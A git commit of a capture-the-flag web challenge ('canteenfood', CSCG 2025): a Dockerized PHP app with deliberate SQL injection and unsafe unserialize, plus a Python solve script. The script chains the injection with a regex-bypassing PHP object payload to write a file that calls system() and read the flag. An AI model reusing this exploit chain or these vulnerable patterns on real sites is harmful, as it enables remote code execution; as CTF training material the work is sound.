cscg25 continues

This commit is contained in:
2025-03-24 22:03:34 +01:00
parent 4db3a89e70
commit 04a5de372e
61 changed files with 3096 additions and 110 deletions

View File

@@ -0,0 +1,49 @@
FROM debian:bullseye-slim@sha256:6344a6747740d465bff88e833e43ef881a8c4dd51950dba5b30664c93f74cbef
# Setup user
RUN useradd www
# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release mariadb-server mariadb-client wget gcc
# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ bullseye main" | tee /etc/apt/sources.list.d/php.list
# Install PHP dependencies
RUN apt update && apt install -y php7.1-fpm php7.1-mysql
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.1/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
COPY config/mariadb.conf /etc/mysql/mariadb.conf.d/50-server.cnf
# Copy challenge files
COPY challenge /www
# Copy flag
COPY flag.txt /
COPY logs.txt /
# Add readflag binary and prepare flag
COPY readflag.c /
RUN gcc /readflag.c -o /readflag \
&& chown root:root /readflag \
&& chmod +s /readflag \
&& rm /readflag.c \
&& chmod 400 /flag.txt
# Setup permissions
RUN chown -R www:www /www /var/lib/nginx
RUN chown www:www /logs.txt
RUN apt-get remove gcc wget -y
# Expose the port nginx is listening on
EXPOSE 80
# Start db and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

View File

@@ -0,0 +1,4 @@
#!/bin/bash
docker rm -f canteenfood
docker build -t canteenfood . && \
docker run --name=canteenfood --rm -p 127.0.0.1:1337:80 -it canteenfood

View File

@@ -0,0 +1,4 @@
#!/bin/bash
docker rm -f canteenfood_patched
docker build -t canteenfood_patched . && \
docker run --name=canteenfood_patched -d --rm -p 127.0.0.1:1338:80 -it canteenfood_patched

View File

@@ -0,0 +1,21 @@
<?php
class Database {
private static $db;
private $connection;
private function __construct() {
$this->connection = new MySQLi('127.0.0.1', $_SERVER['DB_USER'], $_SERVER['DB_PASS'], $_SERVER['DB_NAME']);
}
function __destruct() {
$this->connection->close();
}
public static function getConnection() {
if (self::$db == null) {
self::$db = new Database();
}
return self::$db->connection;
}
}

View File

@@ -0,0 +1,114 @@
<?php
// From makelarisjr & makelaris.
class Routing
{
public $rts = [];
public function new($method, $route, $controller)
{
$r = [
'method' => $method,
'route' => $route,
];
if (is_callable($controller))
{
$r['controller'] = $controller;
$this->rts[] = $r;
}
else if (strpos($controller, '@'))
{
$split = explode('@', $controller);
$class = $split[0];
$function = $split[1];
$r['controller'] = [
'class' => $class,
'function' => $function
];
$this->rts[] = $r;
}
else
{
throw new Exception('Invalid controller');
}
}
public function match()
{
foreach($this->rts as $route)
{
if ($this->_match_route($route['route']))
{
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
{
$this->abort(405);
}
$params = $this->getRouteParameters($route['route']);
if (is_array($route['controller']))
{
$controller = $route['controller'];
$class = $controller['class'];
$function = $controller['function'];
return (new $class)->$function($this,$params);
}
return $route['controller']($this,$params);
}
}
$this->abort(404);
}
public function _match_route($route)
{
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
if (count($uri) != count($route)) return false;
foreach ($route as $key => $value)
{
if ($uri[$key] != $value && $value != '{param}') return false;
}
return true;
}
public function getRouteParameters($route)
{
$params = [];
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
$route = explode('/', $route);
foreach ($route as $key => $value)
{
if ($uri[$key] == $value) continue;
if ($value == '{param}')
{
if ($uri[$key] == '')
{
$this->abort(404);
}
$params[] = $uri[$key];
}
}
return $params;
}
public function abort($code)
{
http_response_code($code);
exit;
}
public function view($view, $data = [])
{
extract($data);
include __DIR__."/views/${view}.php";
exit;
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

View File

@@ -0,0 +1,14 @@
<?php
class AdminController
{
public function admin($router)
{
if($_SESSION["admin"] === false) {
return $router->view('admin', ['logs' => "Only access allowed for canteen admin!!!"]);
} else {
$admin = new AdminModel("/logs.txt","");
return $router->view('admin', ['logs' => $admin->read_logs("/logs.txt")]);
}
}
}

View File

@@ -0,0 +1,12 @@
<?php
class CanteenController
{
public function index($router)
{
$food = new CanteenModel(0);
if(isset($_GET['price'])) {
return $router->view('index', ['food' => $food->filterFood($_GET['price'])]);
}
return $router->view('index', ['food' => $food->getFood()]);
}
}

View File

@@ -0,0 +1,20 @@
<?php
session_start();
$_SESSION["admin"] = false;
include_once "controllers/AdminController.php";
include_once "controllers/CanteenController.php";
include_once "models/AdminModel.php";
include_once "models/CanteenModel.php";
include_once "Routing.php";
include_once "Database.php";
$router = new Routing();
$router->new('GET', '/', 'CanteenController@index');
$router->new('GET', '/admin', 'AdminController@admin');
$response = $router->match();
die($response);

View File

@@ -0,0 +1,32 @@
<?php
if($_SESSION["admin"] === false){
return "You're not welcome. This part is only for canteen workers.";
}
class AdminModel {
public $filename;
public $logcontent;
public function __construct($filename, $content) {
$this->filename = $filename;
$this->logcontent = $content;
file_put_contents($filename, $content, FILE_APPEND);
}
public function __wakeup() {
new LogFile($this->filename, $this->logcontent);
}
public static function read_logs($log) {
$contents = file_get_contents($log);
return $contents;
}
}
class LogFile {
public function __construct($filename, $content) {
file_put_contents($filename, $content, FILE_APPEND);
}
}

View File

@@ -0,0 +1,71 @@
<?php
class CanteenModel {
public function getFood() {
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
$logger = new AdminModel("/logs.txt", $log_entry);
$db = Database::getConnection();
$sql = "SELECT * FROM food";
if ($result = $db->query($sql)) {
$result_string = "";
while($obj = $result->fetch_object()){
if($obj->name !== '') {
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
$db->query("UPDATE food SET price = " . (rand(0, 100000) / 100) . " WHERE name = \"" . $obj->name. "\"");
}
if($obj->oldvalue !== '') {
$dec_result = base64_decode($obj->oldvalue);
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
return 'Not allowed';
}
$uns_result = unserialize($dec_result);
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
$new_value = [$uns_result[0], (rand(0, 100000) / 100)];
$db->query("UPDATE food SET oldvalue = \"" . base64_encode(serialize($new_value)) . "\" WHERE oldvalue = \"" . $obj->oldvalue . "\"");
}
}
return $result_string;
}
return 'No food this week - we\'re closed';
}
public function filterFood($price_param) {
$log_entry = 'Access at: '. date('Y-m-d H:i:s') . "<br>\n";
$logger = new AdminModel("../logs.txt", $log_entry);
$db = Database::getConnection();
$sql = "SELECT * FROM food where price < " . $price_param;
error_log(print_r($sql, true));
if ($result = $db->query($sql)) {
error_log(print_r($result, true));
$result_string = "";
while($obj = $result->fetch_object()){
if($obj->name !== '') {
$result_string .= $obj->name . ' for ' . $obj->price . '€ <br>';
}
if($obj->oldvalue !== '') {
$dec_result = base64_decode($obj->oldvalue);
if (preg_match_all('/O:\d+:"([^"]*)"/', $dec_result, $matches)) {
return 'Not allowed';
}
$uns_result = unserialize($dec_result);
if ($uns_result[1] < $price_param) {
$result_string .= $uns_result[0] . ' for ' . $uns_result[1] . '€<br>';
}
}
}
if($result_string === "") {
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
}
return $result_string;
}
return 'Everything is too expensive for you this week, Sir/Madame. We\'re sorry!';
}
}

View File

@@ -0,0 +1,67 @@
body {
font-family: 'Press Start 2P', cursive;
min-width: 260px;
color: #000000;
text-align: center;
background-color: #006400;
}
.btn-block {
width: 93%;
display: inline-block;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.form-group {
margin-top: 55px !important;
}
#main {
margin: 30px auto;
padding: 15px;
border: 0px solid;
border-radius: 5px;
background: #556b2f;
}
#title {
display: inline-flex;
}
#title i {
color: #D34156;
font-size: 50px;
margin: 0px 40px;
}
#time {
color: #ff0a94;
}
h2 {
color: #000000;
}
img {
width: 550px;
margin-top: 1.4% !important;
height: 560px;
padding: 20px;
max-width: 100%;
display: block;
height: auto;
margin: auto;
object-fit: cover;
overflow: hidden;
}
img:hover {
animation: dance 1.6s;
animation-iteration-count: infinite;
}
.pulse{
animation: pound 0.84s infinite alternate;
-webkit-animation: pound 0.84s infinite alternate;
}

View File

@@ -0,0 +1,16 @@
<html>
<head>
<meta name='author' content='poory'>
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
<title>Canteen Plan</title>
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
<link rel='stylesheet' href='/static/css/main.css' />
<link rel='preconnect' href='//fonts.gstatic.com'>
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
<link rel='icon' href='/assets/favicon.png' />
</head>
<body>
<span id='logs'> <?= $logs ?></span>
</body>
</html>

View File

@@ -0,0 +1,36 @@
<html>
<head>
<meta name='author' content='poory'>
<meta name='viewport' content='width=device-width, initial-scale=1, shrink-to-fit=no'>
<title>Canteen Plan</title>
<link rel='stylesheet' href='//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css' integrity='sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm' crossorigin='anonymous'>
<link rel='stylesheet' href='//cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.2/css/all.min.css' integrity='sha512-HK5fgLBL+xu6dm/Ii3z4xhlSUyZgTT9tuc/hSrtw6uzJOvgRr2a9jyxxT1ely+B+xFAmJKVSTbpM/CuL7qxO8w==' crossorigin='anonymous' />
<link rel='stylesheet' href='/static/css/main.css' />
<link rel='preconnect' href='//fonts.gstatic.com'>
<link link='preload' href='//fonts.googleapis.com/css2?family=Press+Start+2P&display=swap' rel='stylesheet'>
</head>
<body>
<a class='fas fa-heart pulse' href="/admin">admin</a>
<div id='main' class='container'>
<h1 id='title'>
<i class='fas fa-heart pulse'></i> <b>Canteen Plan</b> <i class='fas fa-heart pulse'></i>
</h1>
<br>
<div id='img-div'>
<img id='image' src='/assets/food.gif' alt='yuuuuuuummy'> <!-- Not modified and taken from https://commons.wikimedia.org/wiki/File:Foods_-_Idil_Keysan_-_Wikimedia_Giphy_stickers_2019.gif . Thanks -->
<br>
</div>
<div id='searchfield'>
<form action="/" method="get">
<input type="search" id="site-search" placeholder="300" name="price" />
<button>Cheap Price Search</button>
</form>
</div>
<br>
<h2>Today we will satisfy you with:</h2>
<br>
<span id='food'> <?= $food ?></span>
</div>
</body>
</html>

View File

@@ -0,0 +1,20 @@
[global]
daemonize = no
error_log = /dev/stderr
log_level = notice
[www]
user = www
group = www
clear_env = On
listen = /run/php-fpm.sock
listen.owner = www
listen.group = www
pm = dynamic
pm.max_children = 15
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3

View File

@@ -0,0 +1,133 @@
#
# These groups are read by MariaDB server.
# Use it for options that only the server (but not clients) should see
#
# See the examples of server my.cnf files in /usr/share/mysql
# this is read by the standalone daemon and embedded servers
[server]
# this is only for the mysqld standalone daemon
[mysqld]
#
# * Basic Settings
#
user = mysql
pid-file = /run/mysqld/mysqld.pid
socket = /run/mysqld/mysqld.sock
#port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
#skip-external-locking
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 127.0.0.1
#
# * Fine Tuning
#
#key_buffer_size = 16M
#max_allowed_packet = 16M
#thread_stack = 192K
#thread_cache_size = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
#myisam_recover_options = BACKUP
#max_connections = 100
#table_cache = 64
#thread_concurrency = 10
#
# * Query Cache Configuration
#
#query_cache_limit = 1M
query_cache_size = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file = /var/log/mysql/mysql.log
general_log = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Enable the slow query log to see queries with especially long duration
#slow_query_log_file = /var/log/mysql/mariadb-slow.log
#long_query_time = 10
#log_slow_rate_limit = 1000
#log_slow_verbosity = query_plan
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
# other settings you may need to change.
#server-id = 1
#log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days = 10
#max_binlog_size = 100M
#binlog_do_db = include_database_name
#binlog_ignore_db = exclude_database_name
#
# * Security Features
#
# Read the manual, too, if you want chroot!
#chroot = /var/lib/mysql/
#
# For generating SSL certificates you can use for example the GUI tool "tinyca".
#
#ssl-ca = /etc/mysql/cacert.pem
#ssl-cert = /etc/mysql/server-cert.pem
#ssl-key = /etc/mysql/server-key.pem
#
# Accept only connections using the latest and most secure TLS protocol version.
# ..when MariaDB is compiled with OpenSSL:
#ssl-cipher = TLSv1.2
# ..when MariaDB is compiled with YaSSL (default in Debian):
#ssl = on
#
# * Character sets
#
# MySQL/MariaDB default is Latin1, but in Debian we rather default to the full
# utf8 4-byte character set. See also client.cnf
#
character-set-server = utf8mb4
collation-server = utf8mb4_general_ci
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Unix socket authentication plugin is built-in since 10.0.22-6
#
# Needed so the root database user can authenticate without a password but
# only when running as the unix root user.
#
# Also available for other users if required.
# See https://mariadb.com/kb/en/unix_socket-authentication-plugin/
# this is only for embedded server
[embedded]
# This group is only read by MariaDB servers, not by MySQL.
# If you use the same .cnf file for MySQL and MariaDB,
# you can put MariaDB-only options here
[mariadb]
# This group is only read by MariaDB-10.3 servers.
# If you use the same .cnf file for MariaDB of different versions,
# use this group for options that older servers don't understand
[mariadb-10.3]

View File

@@ -0,0 +1,39 @@
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;
events {
worker_connections 1024;
}
http {
server_tokens off;
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /dev/stdout docker;
charset utf-8;
keepalive_timeout 20s;
sendfile on;
tcp_nopush on;
client_max_body_size 1M;
include /etc/nginx/mime.types;
server {
listen 80;
server_name _;
index index.php;
root /www;
location / {
try_files $uri $uri/ /index.php?$query_string;
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
}
}

View File

@@ -0,0 +1,23 @@
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:fpm]
command=php-fpm7.1 -F
autostart=true
priority=1000
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:nginx]
command=nginx -g 'daemon off;'
autostart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

View File

@@ -0,0 +1,42 @@
#!/bin/bash
chmod 600 /entrypoint.sh
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done
export DB_USER="user_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
export DB_NAME="db_$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)"
mysql -u root << EOF
CREATE DATABASE $DB_NAME;
CREATE TABLE $DB_NAME.food (
id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(255),
oldvalue VARCHAR(255),
price float,
PRIMARY KEY (id)
);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Spaghetti', '', 2.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Burger', '', 100.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Cookies', '', 22.30);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Lasagna', '', 7.50);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('Schnitzel', '', 5000.99);
INSERT INTO $DB_NAME.food (name, oldvalue, price) VALUES ('','YToyOntpOjA7czo1OiJQaXp6YSI7aToxO2Q6MC45OTt9', 0);
CREATE USER '$DB_USER'@'%';
GRANT SELECT, UPDATE ON *.* TO '$DB_USER'@'%';
ALTER USER 'root'@'localhost' IDENTIFIED BY 'test123';
FLUSH PRIVILEGES;
EOF
echo -e "fastcgi_param DB_NAME $DB_NAME;\nfastcgi_param DB_USER $DB_USER;\nfastcgi_param DB_PASS '';" >> /etc/nginx/fastcgi_params
/usr/bin/supervisord -c /etc/supervisord.conf

View File

@@ -0,0 +1,39 @@
import requests
from base64 import b64encode
SITE_URL = "https://c3438387fc4b879a3ef7e4c9-80-canteenfood.challenge.cscg.live:1337/"
malicious_site = """
<html>
<body>
<h1><?= system("../../readflag"); ?><h1>
</body>
</html>
"""
def sql_injection_oldvalue(payload: str):
return f'2 UNION SELECT NULL as id, "" as name, "{payload}" as oldvalue, NULL as price'
def arbitrary_append(filename, content):
php_object = f'O:+10:"AdminModel":2:{{s:8:"filename";s:{len(filename)}:"{filename}";s:10:"logcontent";s:{len(content)}:"{content}";}}'.encode('ascii')
encoded_php_object = b64encode(php_object).decode('ascii')
injection_string = sql_injection_oldvalue(encoded_php_object)
params = {'price': injection_string}
session.get(SITE_URL, params=params)
def retrieve_flag(filepath: str):
response = session.get(SITE_URL + filepath)
if response.status_code == 200:
return response.text
else:
raise RuntimeError(f"Injected php script is not present at {filepath}")
session = requests.Session()
filepath = "views/injection.php"
arbitrary_append(filepath, malicious_site)
flag = retrieve_flag(filepath)
print(flag)

View File

@@ -0,0 +1 @@
dach2025{fakeflag}

View File

@@ -0,0 +1 @@
--- Log File who accessed the canteen plan ---<br>

View File

@@ -0,0 +1,17 @@
#include <stdio.h>
int main(void) {
char flag[256] = {0};
FILE* fp = fopen("/flag.txt", "r");
if (!fp) {
perror("fopen");
return 1;
}
if (fread(flag, 1, 256, fp) < 0) {
perror("fread");
return 1;
}
puts(flag);
fclose(fp);
return 0;
}